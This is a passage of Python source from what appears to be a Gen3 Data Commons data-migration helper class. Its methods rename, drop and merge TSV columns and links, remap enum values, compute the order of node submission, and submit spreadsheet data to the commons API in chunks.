\"new_node\": [],\n \"new_prop\": [],\n \"old_count\": [],\n \"new_count\": [],\n \"conflict\": [],\n }\n for pair in compare:\n for project_id in list(projects):\n ((old_node, old_prop), (new_node, new_prop)) = pair\n # old_count = data[project_id][old_node][old_prop]\n new_count = data[project_id][new_node][new_prop]\n c[\"project_id\"].append(project_id)\n c[\"old_node\"].append(old_node)\n c[\"old_prop\"].append(old_prop)\n c[\"old_count\"].append(old_count)\n c[\"new_node\"].append(new_node)\n c[\"new_prop\"].append(new_prop)\n c[\"new_count\"].append(new_count)\n if (\n old_count != \"NO_TSV\"\n and old_count != 0\n and old_count != \"NO_PROP\"\n ): # data exists in old_prop\n if (\n new_count != \"NO_TSV\"\n and new_count != 0\n and new_count != \"NO_PROP\"\n ): # data exists in new_prop\n conflict = True\n else:\n conflict = False\n c[\"conflict\"].append(conflict)\n\n try:\n outfile = \"{}_compare_props_data.tsv\".format(outname)\n cdf = pd.DataFrame(c)\n cdf.to_csv(outfile, sep=\"\\t\", index=False)\n conflicts = cdf.loc[cdf[\"conflict\"] == True]\n if not conflicts.empty:\n print(\"\\n\\n\\n{} conflicts found in data!\\n\".format(len(conflicts)))\n display(conflicts)\n return cdf\n\n except Exception as e:\n print(\"\\t\\t{}: {}\".format(type(e), e))\n print(\"\\n\\t\\tc = '{}'\".format(c))\n return c\n\n def change_prop_name(self, project_id, node, props, name=\"temp\", force=False):\n \"\"\"\n Changes the name of a column header in a single TSV.\n Checks TSV for existing non-null data for both old and new prop name.\n\n Args:\n project_id(str): The project_id of the TSVs.\n node(str): The name of the node TSV to change column names in.\n props(dict): A dict with keys of old prop names to change with values as new names. {'old_prop':'new_prop'}\n\n Example:\n This changes the column header \"time_of_surgery\" to \"hour_of_surgery\" in the surgery TSV.\n change_prop_name(project_id='P001',node='surgery',props={'time_of_surgery':'hour_of_surgery'})\n \"\"\"\n\n print(\n \"\\tAttempting to change prop names in node '{0}': {1}\".format(node, props)\n )\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n\n if df is None:\n print(\n \"\\t\\tNo '{0}' TSV found in project '{1}'. Nothing changed.\".format(\n node, project_id\n )\n )\n return\n\n old_prop = list(props)[0]\n new_prop = props[old_prop]\n\n if old_prop not in df: # old property not in TSV, fail\n if new_prop in df:\n nn = df.loc[df[new_prop].notnull()]\n print(\n \"\\t\\tOld prop name '{}' not found in the '{}' TSV. New prop name '{}' already in TSV with {} non-null records!\".format(\n old_prop, node, new_prop, len(nn)\n )\n )\n else:\n print(\n \"\\t\\tNeither old prop name '{}' nor new prop name '{}' found in the '{}' TSV. Nothing changed.\".format(\n old_prop, new_prop, node\n )\n )\n return df\n\n if new_prop in df:\n nn = df.loc[df[new_prop].notnull()]\n if len(nn) > 0:\n print(\n \"\\t\\tExisting '{0}' data found in TSV: {1} non-null records!\".format(\n new_prop, len(nn)\n )\n )\n onn = df.loc[df[old_prop].notnull()]\n if len(onn) == 0:\n print(\n \"\\t\\t\\tNo non-null data in old_prop '{}'. Keeping existing data in new_prop '{}'.\".format(\n old_prop, new_prop\n )\n )\n df.drop(columns=[old_prop], inplace=True)\n return df\n else:\n print(\n \"\\t\\t\\t{} non-null old_prop '{}' records found and {} non-null new_prop '{}' records found. \\n\\n\\n\\n\\nCheck existing '{}' data before running this script!!!\\n\\n\\n\\n\\n.\".format(\n len(onn), old_prop, len(nn), new_prop, project_id\n )\n )\n return df\n else: # if all data is null, drop the column\n df.drop(columns=[new_prop], inplace=True)\n print(\n \"\\t\\tProperty '{0}' already in TSV with all null records. Dropping empty column from TSV.\".format(\n new_prop\n )\n )\n\n try:\n nn = df.loc[df[old_prop].notnull()]\n print(\n \"\\t\\tProp name changed from '{}' to '{}' in '{}' TSV with {} non-null records.\".format(\n old_prop, new_prop, node, len(nn)\n )\n )\n df[new_prop] = df[old_prop]\n df.drop(columns=[old_prop], inplace=True, errors=\"raise\")\n df = self.write_tsv(df, project_id, node, name=name)\n\n except Exception as e:\n print(\"\\tCouldn't change prop names: {}\".format(e))\n\n return df\n\n def drop_props(self, project_id, node, props, name=\"temp\", drop_nn=True):\n \"\"\"\n Function drops the list of props from column headers of a node TSV.\n Args:\n node(str): The node TSV to drop headers from.\n props(list): List of column headers to drop from the TSV.\n Example:\n This will drop the 'military_status' prop from the 'demographic' node.\n drop_props(node='demographic',props=['military_status'])\n \"\"\"\n if not isinstance(props, list):\n if isinstance(props, str):\n props = [props]\n else:\n print(\n \"\\tPlease provide props to drop as a list or string:\\n\\t{}\".format(\n props\n )\n )\n\n print(\"\\tAttempting to drop props from '{0}':\".format(node))\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n filename = \"{}_{}_{}.tsv\".format(name, project_id, node)\n\n if df is None:\n print(\n \"\\t\\tNo '{0}' TSV found in project '{1}'. Nothing changed.\".format(\n node, project_id\n )\n )\n return\n\n dropped, not_found, not_dropped, errors = [], [], [], []\n\n for prop in props:\n if prop in df:\n nn = df.loc[df[prop].notnull()]\n if not nn.empty:\n print(\n \"\\n\\nWarning!\\n\\t\\tFound {0} non-null records for '{1}' in '{2}' TSV!\".format(\n len(nn), prop, node\n )\n )\n if drop_nn is not True:\n print(\n \"\\t\\tExisting '{}' data not dropped from '{}' TSV!\\n\\n\\t\\tSet 'drop_nn' to True to override this warning.\"\n )\n return df\n try:\n df = df.drop(columns=[prop], errors=\"raise\")\n dropped.append(prop)\n except Exception as e:\n not_dropped.append(prop)\n errors.append(e)\n continue\n else:\n not_found.append(prop)\n\n if len(not_found) > 0:\n print(\n \"\\t\\tWarning: These props were not found in the '{}' TSV: {}\".format(\n node, not_found\n )\n )\n\n if len(not_dropped) > 0:\n print(\n \"\\t\\tWarning! Some props were NOT dropped from '{}' TSV: {} {}\".format(\n node, not_dropped, list(set(errors))\n )\n )\n\n if len(dropped) > 0:\n print(\n \"\\t\\tprops dropped from '{}' and data written to '{}' TSV: {}\".format(\n node, node, dropped\n )\n )\n df = self.write_tsv(df, project_id, node)\n else:\n print(\"\\t\\tNo props dropped. '{}' TSV unchanged.\".format(node))\n\n return df\n\n def change_enum(self, project_id, node, prop, enums, name=\"temp\"):\n \"\"\"\n Changes an enumeration value in the data.\n Args:\n project_id(str): The project_id of the data.\n node(str): The node TSV to change enumeration values in.\n prop(str): The prop (an enum) to change values for.\n enums(dict): A dict containing the mapping of {'old':'new'} enum values.\n Example:\n This changes all 'Percent' to 'Pct' in prop 'test_units' of node 'lab_test'\n change_enum(project_id=project_id,node='lab_test',prop='test_units',enums={'Percent':'Pct'})\n \"\"\"\n print(\n \"\\tChanging enum values for '{}' in '{}' TSV: {}\".format(prop, node, enums)\n )\n\n df = self.read_tsv(project_id, node, name)\n\n if df is None:\n print(\n \"\\t\\tNo '{}' TSV found in project '{}'. No TSVs changed.\".format(\n node, project_id\n )\n )\n return\n\n if prop not in df:\n print(\"\\t\\t'{}' not found in '{}' TSV! Nothing changed.\".format(prop, node))\n return df\n\n nn = df.loc[df[prop].notnull()]\n if nn.empty:\n print(\n \"\\t\\tAll null '{}' enum values in '{}' TSV! Nothing changed.\".format(\n prop, node\n )\n )\n return df\n\n changed, not_changed = [], []\n\n for old_enum in list(enums.keys()):\n\n new_enum = enums[old_enum]\n old_total = len(df.loc[df[prop] == old_enum])\n\n if old_total == 0:\n print(\n \"\\t\\tNo records found with prop '{}' equal to '{}'; '{}' TSV unchanged. Values include: \\n\\n{}\".format(\n prop, old_enum, node, df[prop].value_counts()\n )\n )\n continue\n\n if new_enum == \"null\":\n try:\n df.at[df[prop] == old_enum, prop] = np.nan\n changed.append(prop)\n print(\n \"\\tChanged {} enum values from '{}' to 'NaN' for prop '{}'\".format(\n old_total, old_enum, prop\n )\n )\n except Exception as e:\n not_changed.append(prop)\n print(\n \"\\tCouldn't change enum value from '{}' to 'NaN' for prop '{}': {}\".format(\n old_enum, prop, e\n )\n )\n else:\n try:\n df.at[df[prop] == old_enum, prop] = new_enum\n changed.append(prop)\n new_total = len(df.loc[df[prop] == new_enum])\n print(\n \"\\t\\tChanged {} enum values from '{}' to '{}' for prop '{}'\".format(\n new_total, old_enum, new_enum, prop\n )\n )\n except Exception as e:\n not_changed.append(prop)\n print(\n \"\\tCouldn't change enum value '{}' to '{}' for prop '{}': {}\".format(\n old_enum, new_enum, prop, e\n )\n )\n\n if len(not_changed) > 0:\n print(\n \"\\t\\tEnum values NOT changed in '{}' TSV: {}\".format(node, not_changed)\n )\n\n if len(changed) > 0:\n self.write_tsv(df, project_id, node, name)\n\n else:\n print(\n \"\\t\\tNo enum values were changed in '{}' node. No TSVs changed.\".format(\n node\n )\n )\n\n return df\n\n def drop_links(self, project_id, node, links, name=\"temp\"):\n \"\"\"\n Function drops the list of nodes in 'links' from column headers of a node TSV, including the 'id' and 'submitter_id' for the link.\n Args:\n project_id(str): The project_id of the TSV.\n node(str): The node TSV to drop link headers from.\n links(list): List of node link headers to drop from the TSV.\n Example:\n This will drop the links to 'cases' node from the 'demographic' node.\n drop_links(project_id=project_id,node='demographic',links=['cases'])\n \"\"\"\n\n print(\"\\t{}:\\n\\t\\tDropping links to {}\".format(node, links))\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n dropped = 0\n for link in links:\n sid = \"{}.submitter_id\".format(link)\n uuid = \"{}.id\".format(link)\n if sid in df.columns:\n df = df.drop(columns=[sid])\n dropped += 1\n if uuid in df.columns:\n df = df.drop(columns=[uuid])\n dropped += 1\n count = 1\n sid = \"{}.submitter_id#{}\".format(link, count)\n while sid in df.columns:\n df = df.drop(columns=[sid])\n dropped += 1\n count += 1\n sid = \"{}.submitter_id#{}\".format(link, count)\n count = 1\n uuid = \"{}.id#{}\".format(link, count)\n while uuid in df.columns:\n df = df.drop(columns=[uuid])\n dropped += 1\n count += 1\n uuid = \"{}.submitter_id#{}\".format(link, count)\n if dropped > 0:\n df.to_csv(filename, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\n \"\\tLinks {} dropped from '{}' and TSV written to file: \\n\\t{}\".format(\n links, node, filename\n )\n )\n else:\n print(\"\\tNone of {} links found in '{}' TSV.\".format(links, node))\n return df\n\n def batch_drop_links(self, project_id, links):\n \"\"\"\n Takes a dictionary of nodes and links to drop and drops links from each node's TSV headers. Do after, e.g., batch_add_visits().\n Args:\n project_id(str): The project_id of the TSVs.\n links(dict): A dict of nodes with links to remove, e.g., {'node':['link1','link2']}.\n Example:\n This drops the columns 'cases.submitter_id' and 'cases.id' (and treatments/medications submitter_id and id) from the 'allergy' node TSV and saves it.\n batch_drop_links(project_id=project_id,links={'allergy': ['cases', 'treatments', 'medications']}\n \"\"\"\n for node in list(links.keys()):\n links_to_drop = links[node]\n df = self.drop_links(project_id=project_id, node=node, links=links_to_drop)\n\n def merge_links(self, project_id, node, link, links_to_merge, name=\"temp\"):\n \"\"\"\n Function merges links in 'links_to_merge' into a single 'link' in a 'node' TSV.\n This would be used on a child node after the merge_nodes function was used on a list of its parent nodes.\n Args:\n project_id(str): The project_id of the TSV.\n link(str): The master link to merge links to.\n links_to_merge(list): List of links to merge into link.\n Example:\n This will merge 'imaging_mri_exams' and 'imaging_fmri_exams' into one 'imaging_exams' column.\n merge_links(project_id=project_id,node='imaging_file',link='imaging_exams',links_to_merge=['imaging_mri_exams','imaging_fmri_exams'])\n This fxn is mostly for merging the 7 imaging_exam subtypes into one imaging_exams link for imaging_file node. Not sure what other use cases there may be.\n links_to_merge=['imaging_fmri_exams','imaging_mri_exams','imaging_spect_exams','imaging_ultrasonography_exams','imaging_xray_exams','imaging_ct_exams','imaging_pet_exams']\n \"\"\"\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n link_name = \"{}.submitter_id\".format(link)\n df[link_name] = np.nan\n for sublink in links_to_merge:\n sid = \"{}.submitter_id\".format(sublink)\n df.loc[df[link_name].isnull(), link_name] = df[sid]\n df.to_csv(filename, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\n \"\\tLinks merged to '{}' and data written to TSV file: \\n\\t\\t{}\".format(\n link, filename\n )\n )\n return df\n\n def drop_ids(self, project_id, node, name=\"temp\"):\n \"\"\"\n Drops the 'id' column from node TSV.\n Example:\n drop_ids(project_id=project_id,node=node)\n \"\"\"\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n dropped = False\n if \"id\" in df.columns:\n self.drop_props(project_id=project_id, node=node, props=[\"id\"])\n dropped = True\n r = re.compile(\".*s\\.id\")\n ids_to_drop = list(filter(r.match, df.columns))\n if len(ids_to_drop) > 0:\n self.drop_props(project_id=project_id, node=node, props=ids_to_drop)\n dropped = True\n if not dropped:\n print(\"\\t{}:\".format(node))\n print(\"\\t\\tNo UUID headers found in the TSV.\".format(node))\n else:\n print(\"\\t\\tAll ids dropped from {}\".format(node))\n\n def batch_drop_ids(self, project_id, suborder, name=\"temp\"):\n \"\"\"\n Drops the 'id' column from all the TSVs in 'suborder' dictionary obtained by running, e.g.:\n suborder(list of tuples) = get_submission_order(dd,project_id,prefix='temp',suffix='tsv')\n \"\"\"\n\n for node_order in suborder:\n\n node = node_order[0]\n print(\"\\t{}:\".format(node))\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n dropped = False\n if \"id\" in df.columns:\n self.drop_props(project_id=project_id, node=node, props=[\"id\"])\n dropped = True\n r = re.compile(\".*s\\.id\")\n ids_to_drop = list(filter(r.match, df.columns))\n\n if len(ids_to_drop) > 0:\n self.drop_props(project_id=project_id, node=node, props=ids_to_drop)\n dropped = True\n\n if not dropped:\n print(\"\\t{}:\".format(node))\n print(\"\\t\\tNo UUID headers found in the TSV.\".format(node))\n\n def drop_ids_from_temp(self, project_id, suffix=\"tsv\", name=\"temp\"):\n\n pattern = \"{}*{}\".format(name, suffix)\n filenames = glob.glob(pattern)\n\n for filename in filenames:\n regex = \"{}_{}_(.+).{}\".format(name, project_id, suffix)\n match = re.search(regex, filename)\n if match:\n node = match.group(1)\n print(\n \"\\tDropping ids from '{}' node in file '{}'\".format(node, filename)\n )\n data = self.drop_ids(project_id=project_id, node=node)\n else:\n print(\"\\tNo node matched filename: '{}'\".format(filename))\n\n return filenames\n\n def create_project(self, program, project):\n \"\"\"Create the program/project:\"\"\"\n project_id = \"{}-{}\".format(program, project)\n prog_txt = \"\"\"{{\n \"type\": \"program\",\n \"dbgap_accession_number\": \"{}\",\n \"name\": \"{}\"\n }}\"\"\".format(\n program, program\n )\n prog_json = json.loads(prog_txt)\n data = self.sub.create_program(json=prog_json)\n print(\"\\t{}\".format(data))\n proj_txt = \"\"\"{{\n \"type\": \"project\",\n \"code\": \"{}\",\n \"dbgap_accession_number\": \"{}\",\n \"name\": \"{}\"\n }}\"\"\".format(\n project, project, project\n )\n proj_json = json.loads(proj_txt)\n data = self.sub.create_project(program=program, json=proj_json)\n print(\"\\t{}\".format(data))\n\n def remove_special_chars(self, project_id, node, name=\"temp\"):\n \"\"\"Replace a special character in 'Parkinson's Disease'\"\"\"\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n df_txt = df.to_csv(sep=\"\\t\", index=False)\n\n if \"Â\" in df_txt or \"Ã\" in df_txt:\n substring = \"Parkins.+?isease\"\n df_txt2 = re.sub(substring, \"Parkinson's Disease\", df_txt)\n df = pd.read_csv(\n StringIO(df_txt2), sep=\"\\t\", dtype=str\n ) # this converts int to float (adds .0 to int)\n df.to_csv(filename, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\"\\tSpecial chars removed from: {}\".format(filename))\n\n else:\n print(\"\\tNo special chars found in {}\".format(filename))\n\n return df\n\n def floats_to_integers(self, project_id, node, prop, name=\"temp\"):\n \"\"\" Remove trailing zeros ('.0') from integers. \"\"\"\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n df[prop] = df[prop].str.extract(r\"^(\\d+).0$\", expand=True)\n df.to_csv(filename, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\"\\tTrailing '.0' decimals removed from: {}\".format(filename))\n return df\n\n def get_submission_order(\n self,\n dd,\n project_id,\n name=\"temp\",\n suffix=\"tsv\",\n missing_nodes=[\"project\", \"study\", \"case\", \"visit\"],\n check_done=True,\n ):\n \"\"\"\n Gets the submission order for a directory full of TSV data templates.\n Example:\n suborder = stag_mig.get_submission_order(stag_dd,project_id,name='temp',suffix='tsv')\n \"\"\"\n\n pattern = \"{}*{}\".format(name, suffix)\n filenames = glob.glob(pattern)\n\n if check_done is True:\n if os.path.exists(\"done\"):\n done_files = glob.glob(\"done/{}\".format(pattern))\n filenames += done_files\n else:\n print(\n \"\\tNo files found in 'done' directory for '{}' project.\".format(\n project_id\n )\n )\n\n all_nodes = []\n suborder = {}\n for filename in filenames:\n regex = \"{}_{}_(.+).{}\".format(name, project_id, suffix)\n match = re.search(regex, filename)\n if match:\n node = match.group(1)\n if node in list(dd):\n all_nodes.append(node)\n else:\n print(\n \"\\tThe node '{}' is not in the data dictionary! Skipping...\".format(\n node\n )\n )\n\n print(\"\\tFound the following nodes:\\n\\t\\t{}\".format(all_nodes))\n\n # Check for the common missing root nodes\n for missing_node in missing_nodes:\n if missing_node not in all_nodes and missing_node in list(dd):\n suborder[missing_node] = 0\n\n checked = []\n node = all_nodes.pop(0)\n while len(all_nodes) > 0:\n\n if node in suborder.keys():\n node = all_nodes.pop(0)\n\n print(\n \"\\t\\tDetermining order for node '{}'.\".format(node)\n ) # for trouble-shooting\n\n node_links = dd[node][\"links\"]\n for link in node_links: # link = node_links[0]\n if \"subgroup\" in list(link):\n for subgroup in link[\"subgroup\"]: # subgroup=link['subgroup'][0]\n\n if subgroup[\"target_type\"] == \"project\":\n suborder[node] = 1\n\n elif subgroup[\"target_type\"] in list(suborder.keys()):\n suborder[node] = suborder[subgroup[\"target_type\"]] + 1\n\n elif subgroup[\"target_type\"] == \"core_metadata_collection\":\n if node in checked:\n print(\"\\tNode {} has been checked before.\".format(node))\n suborder[node] = 2\n else:\n checked.append(node)\n elif subgroup[\"target_type\"] in all_nodes:\n all_nodes.append(node)\n node = subgroup[\"target_type\"]\n all_nodes.remove(subgroup[\"target_type\"])\n # if node in list(suborder.keys()):\n # continue\n # else:\n # all_nodes.append(node)\n # node = all_nodes.pop(0)\n\n elif \"target_type\" in list(link) and link[\"required\"] is True:\n if link[\"target_type\"] == \"project\":\n suborder[node] = 1\n elif link[\"target_type\"] in list(suborder.keys()):\n suborder[node] = suborder[link[\"target_type\"]] + 1\n elif link[\"target_type\"] in all_nodes:\n all_nodes.append(node)\n node = link[\"target_type\"]\n all_nodes.remove(link[\"target_type\"])\n else: # skip it for now\n all_nodes.append(node)\n node = all_nodes.pop(0)\n\n else:\n print(\"\\tNo link target_type found for node '{}'\".format(node))\n\n # suborder = sorted(suborder.items(), key=operator.itemgetter(1))\n suborder = {key: val for key, val in suborder.items() if val > 0}\n print(\"\\tSubmission Order: \\n\\t\\t{}\".format(suborder))\n return suborder\n\n def submit_tsvs(\n self,\n project_id,\n suborder,\n check_done=False,\n remove_done=False,\n drop_ids=False,\n name=\"temp\",\n chunk_size=1000,\n ):\n \"\"\"\n Submits all the TSVs in 'suborder' dictionary obtained by running, e.g.:\n suborder = stag_mig.get_submission_order(stag_dd,project_id,name='temp',suffix='tsv')\n data = stag_mig.submit_tsvs(project_id,suborder,check_done=False,name='temp')\n \"\"\"\n\n logname = \"submission_{}_logfile.txt\".format(project_id)\n\n done_cmd = [\"mkdir\", \"-p\", \"done\"]\n failed_cmd = [\"mkdir\", \"-p\", \"failed\"]\n try:\n output = subprocess.check_output(done_cmd, stderr=subprocess.STDOUT).decode(\n \"UTF-8\"\n )\n output = subprocess.check_output(\n failed_cmd, stderr=subprocess.STDOUT\n ).decode(\"UTF-8\")\n except Exception as e:\n output = e.output.decode(\"UTF-8\")\n print(\"ERROR:\" + output)\n\n with open(logname, \"w\") as logfile:\n\n for node in suborder:\n filename = \"{}_{}_{}.tsv\".format(name, project_id, node)\n done_file = Path(\"done/{}\".format(filename))\n failed_file = Path(\"failed/{}\".format(filename))\n\n if not done_file.is_file() or check_done is False:\n\n if drop_ids is True:\n data = self.drop_ids(\n project_id=project_id, node=node, name=name\n )\n\n print(str(datetime.datetime.now()))\n logfile.write(\n str(datetime.datetime.now())\n + \" Submitting '{}'.\".format(filename)\n )\n\n try:\n data = self.submit_file(\n project_id=project_id,\n filename=filename,\n chunk_size=chunk_size,\n )\n except Exception as e:\n print(\"\\tError submitting file: {}\".format(e))\n data = e\n pass\n\n logfile.write(\n \"{}\\n{}\\n\\n\".format(filename, json.dumps(data))\n ) # put in log file\n print(\"Submission log written to file: '{}'.\".format(logname))\n\n if len(data[\"invalid\"]) == 0 and len(data[\"succeeded\"]) > 0:\n mv_done_cmd = [\"mv\", filename, \"done\"]\n try:\n output = subprocess.check_output(\n mv_done_cmd, stderr=subprocess.STDOUT\n ).decode(\"UTF-8\")\n print(\n \"Submission successful. Moving file to done:\\n\\t\\t{}\\n\\n\".format(\n filename\n )\n )\n except Exception as e:\n print(\"\\tError moving file to 'done' dir: {}\".format(e))\n pass\n\n else:\n if len(data[\"invalid\"]) > 0:\n\n for i in invalid_records:\n print(\"{}\".format(data[\"invalid\"][i]))\n\n print(\n \"Need to fix {} errors in '{}'\".format(\n len(invalid_records), filename\n )\n )\n\n mv_failed_cmd = [\"mv\", filename, \"failed\"]\n try:\n output = subprocess.check_output(\n mv_failed_cmd, stderr=subprocess.STDOUT\n ).decode(\"UTF-8\")\n print(\n \"Submission failed. Moving file to failed:\\n\\t\\t{}\".format(\n filename\n )\n )\n except Exception as e:\n print(\"Error moving file to 'failed' dir: {}\".format(e))\n pass\n\n else:\n print(\n \"\\tPreviously submitted file already exists in done directory:\\n\\t\\t{}\\n\".format(\n done_file\n )\n )\n if remove_done is True:\n rm_cmd = [\"rm\", filename]\n try:\n output = subprocess.check_output(\n rm_cmd, stderr=subprocess.STDOUT\n ).decode(\"UTF-8\")\n print(\n \"\\t\\t'{}' file removed.\\n\\t\\t\\t{}\".format(\n name, filename\n )\n )\n except Exception as e:\n output = e.output.decode(\"UTF-8\")\n print(\"ERROR:\" + output)\n\n def check_migration_counts(self, projects=None, overwrite=False):\n \"\"\"Gets counts and downloads TSVs for all nodes for every project.\"\"\"\n\n all_nodes = sorted(\n list(\n set(\n json_normalize(\n self.sub.query(\"\"\"{_node_type (first:-1) {id}}\"\"\")[\"data\"][\n \"_node_type\"\n ]\n )[\"id\"]\n )\n )\n ) # get all the 'node_id's in the data model\n remove_nodes = [\n \"program\",\n \"project\",\n \"root\",\n \"data_release\",\n ] # remove these nodes from list of nodes\n\n for node in remove_nodes:\n if node in all_nodes:\n all_nodes.remove(node)\n\n if projects is None: # if no projects specified, get node for all projects\n projects = list(\n json_normalize(\n self.sub.query(\"\"\"{project (first:0){project_id}}\"\"\")[\"data\"][\n \"project\"\n ]\n )[\"project_id\"]\n )\n elif isinstance(projects, str):\n projects = [projects]\n\n for project_id in projects:\n mydir = str(\n \"project_tsvs/\" + project_id + \"_tsvs\"\n ) # create the directory to store TSVs\n\n if not os.path.exists(mydir):\n os.makedirs(mydir)\n\n for node in all_nodes:\n query_txt = \"\"\"{_%s_count (project_id:\"%s\")}\"\"\" % (node, project_id)\n res = self.sub.query(query_txt)\n count = res[\"data\"][str(\"_\" + node + \"_count\")]\n print(\n \"\\t{} records found in node '{}' in project '{}'.\".format(\n str(count), node, project_id\n )\n )\n\n if count > 0:\n filename = str(mydir + \"/\" + project_id + \"_\" + node + \".tsv\")\n if (os.path.isfile(filename)) and (overwrite is False):\n print(\"\\tPreviously downloaded \" + filename)\n else:\n prog, proj = project_id.split(\"-\", 1)\n self.sub.export_node(prog, proj, node, \"tsv\", filename)\n\n cmd = [\"ls\", mydir] # look in the download directory\n try:\n output = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode(\n \"UTF-8\"\n )\n except Exception as e:\n output = \"ERROR:\" + e.output.decode(\"UTF-8\")\n\n return output\n\n def required_not_reported(\n self, project_id, node, prop, name=\"temp\", replace_value=\"Not Reported\"\n ):\n \"\"\"Change null values for a required prop to \"Not Reported\".\"\"\"\n\n print(\"\\t{}:\\n\\t\\tChanging values for prop '{}'\".format(node, prop))\n filename = \"{}_{}_{}.tsv\".format(name, project_id, node)\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n\n try:\n original_count = len(df.loc[df[prop] == replace_value])\n df[prop].fillna(replace_value, inplace=True)\n new_count = len(df.loc[df[prop] == replace_value])\n replace_count = new_count - original_count\n df = self.write_tsv(df, project_id, node)\n print(\n \"\\t{} missing (NaN) value(s) for required prop '{}' in '{}' node changed to '{}'.\".format(\n replace_count, prop, node, replace_value\n )\n )\n\n except Exception as e:\n print(\"\\tNo TSV found for node '{}': {} {}.\".format(node, type(e), e))\n\n def submit_file(self, project_id, filename, chunk_size=30, row_offset=0):\n \"\"\"Submit data in a spreadsheet file containing multiple records in rows to a Gen3 Data Commons.\n\n Args:\n project_id (str): The project_id to submit to.\n filename (str): The file containing data to submit. The format can be TSV, CSV or XLSX (first worksheet only for now).\n chunk_size (integer): The number of rows of data to submit for each request to the API.\n row_offset (integer): The number of rows of data to skip; '0' starts submission from the first row and submits all data.\n\n Examples:\n This submits a spreadsheet file containing multiple records in rows to the CCLE project in the sandbox commons.\n\n >>> Gen3Submission.submit_file(\"DCF-CCLE\",\"data_spreadsheet.tsv\")\n\n \"\"\"\n results = {\n \"invalid\": {}, # these are invalid records\n \"other\": [], # any unhandled API responses\n \"details\": [], # entire API response details\n \"succeeded\": [], # list of submitter_ids that were successfully updated/created\n \"responses\": [], # list of API response codes\n }\n\n # Read the file in as a pandas DataFrame\n f = os.path.basename(filename)\n if f.lower().endswith(\".csv\"):\n df = pd.read_csv(filename, header=0, sep=\",\", dtype=str).fillna(\"\")\n elif f.lower().endswith(\".xlsx\"):\n xl = pd.ExcelFile(filename) # load excel file\n sheet = xl.sheet_names[0] # sheetname\n df = xl.parse(sheet) # save sheet as dataframe\n converters = {\n col: str for col in list(df)\n } # make sure int isn't converted to float\n df = pd.read_excel(filename, converters=converters).fillna(\"\") # remove nan\n elif filename.lower().endswith((\".tsv\", \".txt\")):\n df = pd.read_csv(filename, header=0, sep=\"\\t\", dtype=str).fillna(\"\")\n else:\n raise Gen3UserError(\"Please upload a file in CSV, TSV, or XLSX format.\")\n df.rename(\n columns={c: c.lstrip(\"*\") for c in df.columns}, inplace=True\n ) # remove any leading asterisks in the DataFrame column names\n\n # Check uniqueness of submitter_ids:\n if len(list(df.submitter_id)) != len(list(df.submitter_id.unique())):\n print(\n \"\\n\\n\\tWarning: file contains duplicate submitter_ids. \\n\\tNote: submitter_ids must be unique within a node!\\n\\n\"\n )\n results[\"invalid\"][filename] = \"duplicate submitter_ids in file!\"\n return results\n\n # Chunk the file\n print(\"\\nSubmitting {} with {} records.\".format(filename, str(len(df))))\n program, project = project_id.split(\"-\", 1)\n api_url = \"{}/api/v0/submission/{}/{}\".format(self._endpoint, program, project)\n headers = {\"content-type\": \"text/tab-separated-values\"}\n\n start = row_offset\n end = row_offset + chunk_size\n chunk = df[start:end]\n\n count = 0\n\n # Start the chunking loop:\n while (start + len(chunk)) <= len(df):\n\n timeout = False\n valid_but_failed = []\n invalid = []\n count += 1\n print(\n \"Chunk {} (chunk size: {}, submitted: {} of {})\".format(\n str(count),\n str(chunk_size),\n str(len(results[\"succeeded\"]) + len(results[\"invalid\"])),\n str(len(df)),\n )\n )\n\n try:\n response = requests.put(\n api_url,\n auth=self._auth_provider,\n data=chunk.to_csv(sep=\"\\t\", index=False),\n headers=headers,\n ).text\n except Exception as e:\n results[\"details\"].append(e)\n continue\n\n if (\n \"Request Timeout\" in response\n or \"413 Request Entity Too Large\" in response\n or \"Connection aborted.\" in response\n or \"service failure - try again later\" in response\n ): # time-out, response is not valid JSON at the moment\n\n print(\"\\t Reducing Chunk Size: {}\".format(response))\n results[\"responses\"].append(\"Reducing Chunk Size: {}\".format(response))\n timeout = True\n\n else:\n try:\n json_res = json.loads(response)\n except Exception as e:\n raise Gen3Error(\n \"Unable to parse API response as JSON!\\n\\t{}: {}\".format(\n response, e\n )\n )\n\n if \"message\" in json_res and \"code\" not in json_res:\n print(\n \"\\t No code in the API response for Chunk {}: {}\\n\\t {}\".format(\n str(count),\n json_res.get(\"message\"),\n json_res.get(\"transactional_errors\"),\n )\n )\n results[\"responses\"].append(\n \"Error Chunk {}: {}\".format(str(count), json_res.get(\"message\"))\n )\n results[\"other\"].append(json_res.get(\"transactional_errors\"))\n\n elif \"code\" not in json_res:\n print(\"\\t Unhandled API-response: {}\".format(response))\n results[\"responses\"].append(\n \"Unhandled API response: {}\".format(response)\n )\n\n elif json_res[\"code\"] == 200:\n # success\n entities = json_res.get(\"entities\", [])\n print(\"\\t Succeeded: {} entities.\".format(str(len(entities))))\n results[\"responses\"].append(\n \"Chunk {} Succeeded: {} entities.\".format(\n str(count), str(len(entities))\n )\n )\n\n for entity in entities:\n sid = entity[\"unique_keys\"][0][\"submitter_id\"]\n results[\"succeeded\"].append(sid)\n\n elif (\n json_res[\"code\"] == 400\n or json_res[\"code\"] == 403\n or json_res[\"code\"] == 404\n ):\n # failure\n entities = json_res.get(\"entities\", [])\n print(\"\\tChunk Failed: {} entities.\".format(str(len(entities))))\n results[\"responses\"].append(\n \"Chunk {} Failed: {} entities.\".format(\n str(count), str(len(entities))\n )\n )\n\n for 